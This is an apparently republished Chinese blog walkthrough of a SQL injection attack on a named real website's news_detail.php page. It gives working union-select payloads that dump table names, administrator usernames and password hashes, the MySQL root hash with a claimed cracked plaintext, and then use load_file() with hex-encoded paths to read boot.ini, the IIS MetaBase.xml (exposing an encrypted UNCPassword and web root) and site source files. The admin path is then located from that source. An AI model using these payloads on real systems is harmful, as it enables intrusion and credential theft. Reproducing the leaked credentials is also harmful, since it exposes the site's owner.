php_mysql注入load_file()IIS配置文件获取

php_mysql注入load_file()IIS配置文件获取

先看一个注入点:

 
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database(),0x5c,user(),0x5c,version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
 
得到回显:flier_dbase\root@localhost\5.0.22-community-nt
 
 
如果说注入点算是第一个漏洞,那么这个root就是管理员制造的第二个网站漏洞了
 
表段:http://www. .cn/news_detail.php?newsid=1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x666C6965725F6462617365
得到数据:pub_config,pub_tree,pub_webmaster,web_img,web_keys,web_ly,web_news,web_news_review
 
pub_webmaster的字段:‍http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
 
得到数据:webmasterid,username,userpwd,loginnum,ip,lasttime,tree,name,dtime,sex,jobs
 
这下出来管理员数据:
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+username,0x5f,userpwd),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+pub_webmaster
得到:admin_9b45d683e499e7bd
yfh_7a57a5a743894a0e//这里是第三个漏洞了,弱口令admin
 
 
既然找不到后台地址,那么干脆爆MySql管理员的口令
http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user
 
得到数据:root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD
数据库就一个账户,如果解不开,岂不是要放弃?那倒不比,第一,咱解开了,对于八位字母数字加符号的密码,学校的分布式密码破解系统毫不吃力的说。不过这个密码是八位字母加符号,也算不的弱口令,暂且不算是漏洞吧。
 
*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD对应的明文是qweasd)@
第二,咱还有别的路子,随便访问一个路径,反馈的是IIS6的404默认页,说明网站服务器是:Windows+IIS6+php+MySql的环境
先把c:\\boot.ini这串路径进行hex编码得到:0x633A5C5C626F6F742E696E69
然后、http://www. .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C626F6F742E696E69),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
看回显:
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut
 
 
 
虽然能load_file加载文件,但是似乎用处不大。非也非也,既然是IIS6,那么加载c:\\windows\\system32\\inetsrv\\MetaBase.xml这个路径就可以获取网站配置信息了。
*注:Windows进行文件操作,路径一定要是双斜杠,如果是单斜杠,八成会load_file失败,探讨其原因,可能是因为,斜杠是这样的\左上右下,而Linux则是/右上左下。如果在Windows的路径斜杠后面跟个t也就是\t,看看在编程里面是什么?如果\n呢?\‘呢?没错,路径的斜杠就没了。如果是双斜杠,\\那才是真的单斜杠。如果你需要输出双斜杠,那么你要用四个斜杠来表示,郁闷不?\\\\
 
最后注入句就是:http://www.fly-er.com.cn/news_detail.php?newsid=- 1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
得到回显如下:
技术分享
 
 
主要看这几句配置:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<IIsWebServer        Location ="/LM/W3SVC/2125961364"
                AuthFlags="0"
                LogExtFileFlags="LogExtFileDate | LogExtFileTime | LogExtFileClientIp | LogExtFileUriStem | LogExtFileUriQuery | LogExtFileHttpStatus | LogExtFileWin32Status | LogExtFileServerPort | LogExtFileUserAgent | LogExtFileHttpSubStatus"
                LogFileDirectory="E:\flylog"
                LogFileLocaltimeRollover="FALSE"
                LogFilePeriod="1"
                LogFileTruncateSize="20971520"
                LogPluginClsid="{FF160663-DE82-11CF-BC0A-00AA006111E0}"
                ServerAutoStart="TRUE"
                ServerBindings=":80:fly-er.com.cn
                        :80:www.fly-er.com.cn"
                ServerComment="fly-er.com.cn"
        >
</IIsWebServer>

 

 
 
还有:
1
2
3
4
5
6
7
8
9
10
11
12
<IIsWebVirtualDir        Location ="/LM/W3SVC/2125961364/root"
                AccessFlags="AccessRead | AccessWrite | AccessScript"
                AppFriendlyName="默认应用程序"
                AppIsolated="2"
                AppRoot="/LM/W3SVC/2125961364/Root"
                AuthFlags="AuthAnonymous | AuthNTLM"
                DefaultDoc="yindao.html,index.html,index.php,Default.htm,Default.asp,index.htm"
                DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DirBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"
                Path="F:\web\2010716\new_flyer"
                UNCPassword="49634462500000000600000040000000894077f761d33600623e24d0e5dfbe254f63ee6490a3af6f918760ac2fbd00627e07669149f74641659a4383366f9edefd9c02f6555c8692c1c93d2483008b9721cbdae4fac9a380"
        >
</IIsWebVirtualDir>

 

这下子我们构造:
 
http://www.  .cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x463A5C5C7765625C5C323031303731365C5C6E65775F666C7965725C5C696E6465782E706870),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
右键查看源代码就可以了
 
*注:load_file用的时候,最好在外面加一个hex即:hex(load_file(xxxxxxx))
因为我遇到过一个网站,主页不知道是哪里的代码有问题,注入点在主页。我用主页load_file主页文件,外面没嵌套hex的话,主页就被循 环显示了,就是类似这样:index里面有一个iframe,iframe加载的是index这个文件,index这个文件里面的iframe又加载 index这个文件,循环往复下去,直到把机器资源耗尽。虽然不知道当时那个网站是不是这个iframe,但是这样的嵌套确实有死循环发生,所以建议 hex嵌套load_file
我比较在意的是index里面这样的一个地方的代码:
 
1
2
3
4
5
require(‘admin_flier/common/function.php‘);
require(‘admin_flier/lib/class/form.class.php‘);
require(‘admin_flier/lib/class/db.class.php‘);
require(‘admin_flier/lib/class/page.class.php‘);
include(‘inc/head.php‘);

 

呵呵,这里不就是后台地址么?
 
技术分享
 
显然,后台的安全性也不够。就算是隐藏了后台地址,工具扫不到,那也不意味着可以放松后台的安全性吧?

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。